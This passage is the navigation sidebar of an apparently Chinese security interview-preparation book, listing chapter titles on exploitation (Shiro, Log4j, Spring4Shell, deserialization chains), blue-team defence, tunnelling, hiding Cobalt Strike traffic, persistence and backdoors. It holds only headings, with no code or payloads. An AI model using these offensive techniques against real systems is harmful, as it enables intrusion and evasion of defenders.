|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.14" data-path="../Chapter6/6-14.html">
|
|
|
|
<a href="../Chapter6/6-14.html">
|
|
|
|
|
|
6.14 Shiro 有 Key 无链怎么利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.15" data-path="../Chapter6/6-15.html">
|
|
|
|
<a href="../Chapter6/6-15.html">
|
|
|
|
|
|
6.15 Redis 主从复制原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.16" data-path="../Chapter6/6-16.html">
|
|
|
|
<a href="../Chapter6/6-16.html">
|
|
|
|
|
|
6.16 phpMyAdmin 写 Shell 的方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.17" data-path="../Chapter6/6-17.html">
|
|
|
|
<a href="../Chapter6/6-17.html">
|
|
|
|
|
|
6.17 了解过中间件哪些解析漏洞
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.18" data-path="../Chapter6/6-18.html">
|
|
|
|
<a href="../Chapter6/6-18.html">
|
|
|
|
|
|
6.18 Shiro 不出网怎么利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.19" data-path="../Chapter6/6-19.html">
|
|
|
|
<a href="../Chapter6/6-19.html">
|
|
|
|
|
|
6.19 JNDI 的解析流程和原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.20" data-path="../Chapter6/6-20.html">
|
|
|
|
<a href="../Chapter6/6-20.html">
|
|
|
|
|
|
6.20 runc 容器逃逸原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.21" data-path="../Chapter6/6-21.html">
|
|
|
|
<a href="../Chapter6/6-21.html">
|
|
|
|
|
|
6.21 JBoss 反序列化漏洞原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.22" data-path="../Chapter6/6-22.html">
|
|
|
|
<a href="../Chapter6/6-22.html">
|
|
|
|
|
|
6.22 XStreadm 反序列化漏洞原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.23" data-path="../Chapter6/6-23.html">
|
|
|
|
<a href="../Chapter6/6-23.html">
|
|
|
|
|
|
6.23 讲讲 Confluence RCE
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.24" data-path="../Chapter6/6-24.html">
|
|
|
|
<a href="../Chapter6/6-24.html">
|
|
|
|
|
|
6.24 讲下 Spring 相关的 RCE 原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.25" data-path="../Chapter6/6-25.html">
|
|
|
|
<a href="../Chapter6/6-25.html">
|
|
|
|
|
|
6.25 Log4j 如何绕过 trustURLCodebase
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.26" data-path="../Chapter6/6-26.html">
|
|
|
|
<a href="../Chapter6/6-26.html">
|
|
|
|
|
|
6.26 Fastjson 文件读写 gadget 是哪条，原理是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.27" data-path="../Chapter6/6-27.html">
|
|
|
|
<a href="../Chapter6/6-27.html">
|
|
|
|
|
|
6.27 Spring4shell 原理&检测&利用
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.7.28" data-path="../Chapter6/6-28.html">
|
|
|
|
<a href="../Chapter6/6-28.html">
|
|
|
|
|
|
6.28 Kubernetes 攻击思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8" data-path="../Chapter7/">
|
|
|
|
<a href="../Chapter7/">
|
|
|
|
|
|
7. 蓝队防守
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.8.1" data-path="../Chapter7/7-1.html">
|
|
|
|
<a href="../Chapter7/7-1.html">
|
|
|
|
|
|
7.1 内存马查杀思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.2" data-path="../Chapter7/7-2.html">
|
|
|
|
<a href="../Chapter7/7-2.html">
|
|
|
|
|
|
7.2 Linux 日志存放位置
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.3" data-path="../Chapter7/7-3.html">
|
|
|
|
<a href="../Chapter7/7-3.html">
|
|
|
|
|
|
7.3 常见 Windows 事件 ID
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.4" data-path="../Chapter7/7-4.html">
|
|
|
|
<a href="../Chapter7/7-4.html">
|
|
|
|
|
|
7.4 为什么 aspx 木马的权限会比 asp 木马的权限更高
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.5" data-path="../Chapter7/7-5.html">
|
|
|
|
<a href="../Chapter7/7-5.html">
|
|
|
|
|
|
7.5 如何判断 Log4j 攻击成功
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.6" data-path="../Chapter7/7-6.html">
|
|
|
|
<a href="../Chapter7/7-6.html">
|
|
|
|
|
|
7.6 给你一个告警的内网 IP，怎么快速定位到他在哪栋楼哪层
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.7" data-path="../Chapter7/7-7.html">
|
|
|
|
<a href="../Chapter7/7-7.html">
|
|
|
|
|
|
7.7 SQL 注入防御方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.8" data-path="../Chapter7/7-8.html">
|
|
|
|
<a href="../Chapter7/7-8.html">
|
|
|
|
|
|
7.8 设备上数万条告警怎么快速找到攻击成功的告警
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.9" data-path="../Chapter7/7-9.html">
|
|
|
|
<a href="../Chapter7/7-9.html">
|
|
|
|
|
|
7.9 WebShell 查杀后仍有流量怎么办
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.10" data-path="../Chapter7/7-10.html">
|
|
|
|
<a href="../Chapter7/7-10.html">
|
|
|
|
|
|
7.10 拿到攻击者 IP 怎么溯源
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.11" data-path="../Chapter7/7-11.html">
|
|
|
|
<a href="../Chapter7/7-11.html">
|
|
|
|
|
|
7.11 内网报警处理方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.12" data-path="../Chapter7/7-12.html">
|
|
|
|
<a href="../Chapter7/7-12.html">
|
|
|
|
|
|
7.12 怎样从日志找 WebShell 位置
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.13" data-path="../Chapter7/7-13.html">
|
|
|
|
<a href="../Chapter7/7-13.html">
|
|
|
|
|
|
7.13 常见日志分析工具
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.14" data-path="../Chapter7/7-14.html">
|
|
|
|
<a href="../Chapter7/7-14.html">
|
|
|
|
|
|
7.14 网页挂马排查思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.15" data-path="../Chapter7/7-15.html">
|
|
|
|
<a href="../Chapter7/7-15.html">
|
|
|
|
|
|
7.15 XSS 防御方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.16" data-path="../Chapter7/7-16.html">
|
|
|
|
<a href="../Chapter7/7-16.html">
|
|
|
|
|
|
7.16 CSRF 防御方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.17" data-path="../Chapter7/7-17.html">
|
|
|
|
<a href="../Chapter7/7-17.html">
|
|
|
|
|
|
7.17 SSRF 防御方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.18" data-path="../Chapter7/7-18.html">
|
|
|
|
<a href="../Chapter7/7-18.html">
|
|
|
|
|
|
7.18 XXE 防御方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.19" data-path="../Chapter7/7-19.html">
|
|
|
|
<a href="../Chapter7/7-19.html">
|
|
|
|
|
|
7.19 文件上传防御方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.20" data-path="../Chapter7/7-20.html">
|
|
|
|
<a href="../Chapter7/7-20.html">
|
|
|
|
|
|
7.20 CS 流量特征
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.21" data-path="../Chapter7/7-21.html">
|
|
|
|
<a href="../Chapter7/7-21.html">
|
|
|
|
|
|
7.21 WebShell 工具流量特征
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.22" data-path="../Chapter7/7-22.html">
|
|
|
|
<a href="../Chapter7/7-22.html">
|
|
|
|
|
|
7.22 日志被删除如何排查
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.23" data-path="../Chapter7/7-23.html">
|
|
|
|
<a href="../Chapter7/7-23.html">
|
|
|
|
|
|
7.23 常见加固手段
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.24" data-path="../Chapter7/7-24.html">
|
|
|
|
<a href="../Chapter7/7-24.html">
|
|
|
|
|
|
7.24 挖矿病毒特征
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.25" data-path="../Chapter7/7-25.html">
|
|
|
|
<a href="../Chapter7/7-25.html">
|
|
|
|
|
|
7.25 挖矿病毒应急思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.26" data-path="../Chapter7/7-26.html">
|
|
|
|
<a href="../Chapter7/7-26.html">
|
|
|
|
|
|
7.26 如何判断钓鱼邮件
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.27" data-path="../Chapter7/7-27.html">
|
|
|
|
<a href="../Chapter7/7-27.html">
|
|
|
|
|
|
7.27 暴露面梳理怎么做
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.28" data-path="../Chapter7/7-28.html">
|
|
|
|
<a href="../Chapter7/7-28.html">
|
|
|
|
|
|
7.28 netstat 和 ss 命令的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.29" data-path="../Chapter7/7-29.html">
|
|
|
|
<a href="../Chapter7/7-29.html">
|
|
|
|
|
|
7.29 Windows 日志存储位置
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.30" data-path="../Chapter7/7-30.html">
|
|
|
|
<a href="../Chapter7/7-30.html">
|
|
|
|
|
|
7.30 云产品的应急思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.31" data-path="../Chapter7/7-31.html">
|
|
|
|
<a href="../Chapter7/7-31.html">
|
|
|
|
|
|
7.31 DNS 重绑定漏洞原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.32" data-path="../Chapter7/7-32.html">
|
|
|
|
<a href="../Chapter7/7-32.html">
|
|
|
|
|
|
7.32 Token 和 Referer 的安全等级谁高
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.33" data-path="../Chapter7/7-33.html">
|
|
|
|
<a href="../Chapter7/7-33.html">
|
|
|
|
|
|
7.33 任意文件下载漏洞防御方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.34" data-path="../Chapter7/7-34.html">
|
|
|
|
<a href="../Chapter7/7-34.html">
|
|
|
|
|
|
7.34 怎么修改 TTL 值
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.35" data-path="../Chapter7/7-35.html">
|
|
|
|
<a href="../Chapter7/7-35.html">
|
|
|
|
|
|
7.35 Linux 怎么查看程序调用了哪些文件
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.36" data-path="../Chapter7/7-36.html">
|
|
|
|
<a href="../Chapter7/7-36.html">
|
|
|
|
|
|
7.36 CMD 命令行如何查询远程终端开放端口
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.37" data-path="../Chapter7/7-37.html">
|
|
|
|
<a href="../Chapter7/7-37.html">
|
|
|
|
|
|
7.37 查看服务器是否存在可疑账号、新增账号
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.38" data-path="../Chapter7/7-38.html">
|
|
|
|
<a href="../Chapter7/7-38.html">
|
|
|
|
|
|
7.38 查看服务器是否存在隐藏账号、克隆账号
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.39" data-path="../Chapter7/7-39.html">
|
|
|
|
<a href="../Chapter7/7-39.html">
|
|
|
|
|
|
7.39 SQL 注入用转义字符防御时，如果遇到数据库的列名或是表名本身就带着特殊字符怎么办
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.40" data-path="../Chapter7/7-40.html">
|
|
|
|
<a href="../Chapter7/7-40.html">
|
|
|
|
|
|
7.40 有哪些 SQL 语句无法使用预编译的方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.41" data-path="../Chapter7/7-41.html">
|
|
|
|
<a href="../Chapter7/7-41.html">
|
|
|
|
|
|
7.41 SYN 开放链接原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.42" data-path="../Chapter7/7-42.html">
|
|
|
|
<a href="../Chapter7/7-42.html">
|
|
|
|
|
|
7.42 了解 Linux /proc 目录吗
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.43" data-path="../Chapter7/7-43.html">
|
|
|
|
<a href="../Chapter7/7-43.html">
|
|
|
|
|
|
7.43 如何监控 Linux 文件操作
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.44" data-path="../Chapter7/7-44.html">
|
|
|
|
<a href="../Chapter7/7-44.html">
|
|
|
|
|
|
7.44 Windows Defender 安全机制
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.45" data-path="../Chapter7/7-45.html">
|
|
|
|
<a href="../Chapter7/7-45.html">
|
|
|
|
|
|
7.45 什么是 TCP 粘包/拆包
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.46" data-path="../Chapter7/7-46.html">
|
|
|
|
<a href="../Chapter7/7-46.html">
|
|
|
|
|
|
7.46 session 的工作原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.47" data-path="../Chapter7/7-47.html">
|
|
|
|
<a href="../Chapter7/7-47.html">
|
|
|
|
|
|
7.47 HTTP 长连接和短连接的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.48" data-path="../Chapter7/7-48.html">
|
|
|
|
<a href="../Chapter7/7-48.html">
|
|
|
|
|
|
7.48 Xrange() 和 range() 返回的是什么
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.49" data-path="../Chapter7/7-49.html">
|
|
|
|
<a href="../Chapter7/7-49.html">
|
|
|
|
|
|
7.49 怎么防重放攻击
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.50" data-path="../Chapter7/7-50.html">
|
|
|
|
<a href="../Chapter7/7-50.html">
|
|
|
|
|
|
7.50 讲讲 SYN FLOOD 原理，防御，检测手段
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.8.51" data-path="../Chapter7/7-51.html">
|
|
|
|
<a href="../Chapter7/7-51.html">
|
|
|
|
|
|
7.51 讲讲 UDP 反射放大的原理，防御，检测手段
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9" data-path="../Chapter8/">
|
|
|
|
<a href="../Chapter8/">
|
|
|
|
|
|
8. 内网穿透
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.9.1" data-path="../Chapter8/8-1.html">
|
|
|
|
<a href="../Chapter8/8-1.html">
|
|
|
|
|
|
8.1 正向代理和反向代理区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.2" data-path="../Chapter8/8-2.html">
|
|
|
|
<a href="../Chapter8/8-2.html">
|
|
|
|
|
|
8.2 如何进行内网穿透
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.3" data-path="../Chapter8/8-3.html">
|
|
|
|
<a href="../Chapter8/8-3.html">
|
|
|
|
|
|
8.3 如何隐藏 CS 流量
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.4" data-path="../Chapter8/8-4.html">
|
|
|
|
<a href="../Chapter8/8-4.html">
|
|
|
|
|
|
8.4 ICMP 隧道的流量特征
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.5" data-path="../Chapter8/8-5.html">
|
|
|
|
<a href="../Chapter8/8-5.html">
|
|
|
|
|
|
8.5 代理转发常用的工具有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.6" data-path="../Chapter8/8-6.html">
|
|
|
|
<a href="../Chapter8/8-6.html">
|
|
|
|
|
|
8.6 目标机器 Ping 不通外网，没有办法走网络层协议如何搭建隧道
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.7" data-path="../Chapter8/8-7.html">
|
|
|
|
<a href="../Chapter8/8-7.html">
|
|
|
|
|
|
8.7 内网的多级代理用什么东西代理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.8" data-path="../Chapter8/8-8.html">
|
|
|
|
<a href="../Chapter8/8-8.html">
|
|
|
|
|
|
8.8 如果 TCP 和 UDP 不出网怎么绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.9" data-path="../Chapter8/8-9.html">
|
|
|
|
<a href="../Chapter8/8-9.html">
|
|
|
|
|
|
8.9 多级代理如何做一个 CDN 进行中转
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.9.10" data-path="../Chapter8/8-10.html">
|
|
|
|
<a href="../Chapter8/8-10.html">
|
|
|
|
|
|
8.10 内网有 ACL 策略，如果是白名单如何绕过
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.10" data-path="../Chapter9/">
|
|
|
|
<a href="../Chapter9/">
|
|
|
|
|
|
9. 权限维持
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.10.1" data-path="../Chapter9/9-1.html">
|
|
|
|
<a href="../Chapter9/9-1.html">
|
|
|
|
|
|
9.1 怎么建立隐藏用户
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.10.2" data-path="../Chapter9/9-2.html">
|
|
|
|
<a href="../Chapter9/9-2.html">
|
|
|
|
|
|
9.2 360 开启了晶核模式，怎么去尝试权限维持
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.10.3" data-path="../Chapter9/9-3.html">
|
|
|
|
<a href="../Chapter9/9-3.html">
|
|
|
|
|
|
9.3 计划任务被拦截了怎么办
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.10.4" data-path="../Chapter9/9-4.html">
|
|
|
|
<a href="../Chapter9/9-4.html">
|
|
|
|
|
|
9.4 说说 PAM 软连接提权 / 后门原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.10.5" data-path="../Chapter9/9-5.html">
|
|
|
|
<a href="../Chapter9/9-5.html">
|
|
|
|
|
|
9.5 如何不记录执行命令
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.11" data-path="../Chapter10/">
|
|
|
|
<a href="../Chapter10/">
|
|
|
|
|
|
10. SSRF
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.11.1" data-path="../Chapter10/10-1.html">
|
|
|
|
<a href="../Chapter10/10-1.html">
|
|
|
|
|
|
10.1 SSRF 漏洞存在位置
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.11.2" data-path="../Chapter10/10-2.html">
|
|
|
|
<a href="../Chapter10/10-2.html">
|
|
|
|
|
|
10.2 SSRF 漏洞绕过方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.11.3" data-path="../Chapter10/10-3.html">
|
|
|
|
<a href="../Chapter10/10-3.html">
|
|
|
|
|
|
10.3 SSRF 漏洞利用方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.11.4" data-path="../Chapter10/10-4.html">
|
|
|
|
<a href="../Chapter10/10-4.html">
|
|
|
|
|
|
10.4 SSRF 如何攻击内网服务
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.11.5" data-path="../Chapter10/10-5.html">
|
|
|
|
<a href="../Chapter10/10-5.html">
|
|
|
|
|
|
10.5 如何判断 SSRF 的流量是否攻击成功
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.11.6" data-path="../Chapter10/10-6.html">
|
|
|
|
<a href="../Chapter10/10-6.html">
|
|
|
|
|
|
10.6 SSRF 怎么用 Redis 写 Shell
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.12" data-path="./">
|
|
|
|
<a href="./">
|
|
|
|
|
|
11. XXE
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.12.1" data-path="11-1.html">
|
|
|
|
<a href="11-1.html">
|
|
|
|
|
|
11.1 XXE 漏洞利用方式
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter active" data-level="1.12.2" data-path="11-2.html">
|
|
|
|
<a href="11-2.html">
|
|
|
|
|
|
11.2 XXE 盲注思路
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.12.3" data-path="11-3.html">
|
|
|
|
<a href="11-3.html">
|
|
|
|
|
|
11.3 PCDATA 和 CDATA 的区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.13" data-path="../Chapter12/">
|
|
|
|
<a href="../Chapter12/">
|
|
|
|
|
|
12. 文件上传漏洞
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.13.1" data-path="../Chapter12/12-1.html">
|
|
|
|
<a href="../Chapter12/12-1.html">
|
|
|
|
|
|
12.1 文件上传漏洞绕过方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.14" data-path="../Chapter13/">
|
|
|
|
<a href="../Chapter13/">
|
|
|
|
|
|
13. RCE
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.14.1" data-path="../Chapter13/13-1.html">
|
|
|
|
<a href="../Chapter13/13-1.html">
|
|
|
|
|
|
13.1 代码执行、命令执行的函数有哪些
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.14.2" data-path="../Chapter13/13-2.html">
|
|
|
|
<a href="../Chapter13/13-2.html">
|
|
|
|
|
|
13.2 正向 Shell 和反向 Shell 区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.14.3" data-path="../Chapter13/13-3.html">
|
|
|
|
<a href="../Chapter13/13-3.html">
|
|
|
|
|
|
13.3 如何从非交互的 Shell 提升为交互 Shell
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.14.4" data-path="../Chapter13/13-4.html">
|
|
|
|
<a href="../Chapter13/13-4.html">
|
|
|
|
|
|
13.4 PHP disable_functions() 绕过方法
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.14.5" data-path="../Chapter13/13-5.html">
|
|
|
|
<a href="../Chapter13/13-5.html">
|
|
|
|
|
|
13.5 PHP 的 %00 截断的原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.14.6" data-path="../Chapter13/13-6.html">
|
|
|
|
<a href="../Chapter13/13-6.html">
|
|
|
|
|
|
13.6 站库分离怎么拿 Shell
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15" data-path="../Chapter14/">
|
|
|
|
<a href="../Chapter14/">
|
|
|
|
|
|
14. 反序列化漏洞
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<ul class="articles">
|
|
|
|
|
|
<li class="chapter " data-level="1.15.1" data-path="../Chapter14/14-1.html">
|
|
|
|
<a href="../Chapter14/14-1.html">
|
|
|
|
|
|
14.1 CC1、CC6 区别
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.2" data-path="../Chapter14/14-2.html">
|
|
|
|
<a href="../Chapter14/14-2.html">
|
|
|
|
|
|
14.2 讲一下 CC1-7 的原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.3" data-path="../Chapter14/14-3.html">
|
|
|
|
<a href="../Chapter14/14-3.html">
|
|
|
|
|
|
14.3 BECL 利用链使用条件及原理
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.4" data-path="../Chapter14/14-4.html">
|
|
|
|
<a href="../Chapter14/14-4.html">
|
|
|
|
|
|
14.4 BCEL 可以用其他类加载器吗
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.5" data-path="../Chapter14/14-5.html">
|
|
|
|
<a href="../Chapter14/14-5.html">
|
|
|
|
|
|
14.5 了解 JEP290 的原理吗
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.6" data-path="../Chapter14/14-6.html">
|
|
|
|
<a href="../Chapter14/14-6.html">
|
|
|
|
|
|
14.6 讲下 RMI 原理以及相关的漏洞
|
|
|
|
</a>
|
|
|
|
|
|
|
|
</li>
|
|
|
|
<li class="chapter " data-level="1.15.7" data-path="../Chapter14/14-7.html">
|
|
|
|
<a href="../Chapter14/14-7.html">
|
|
|
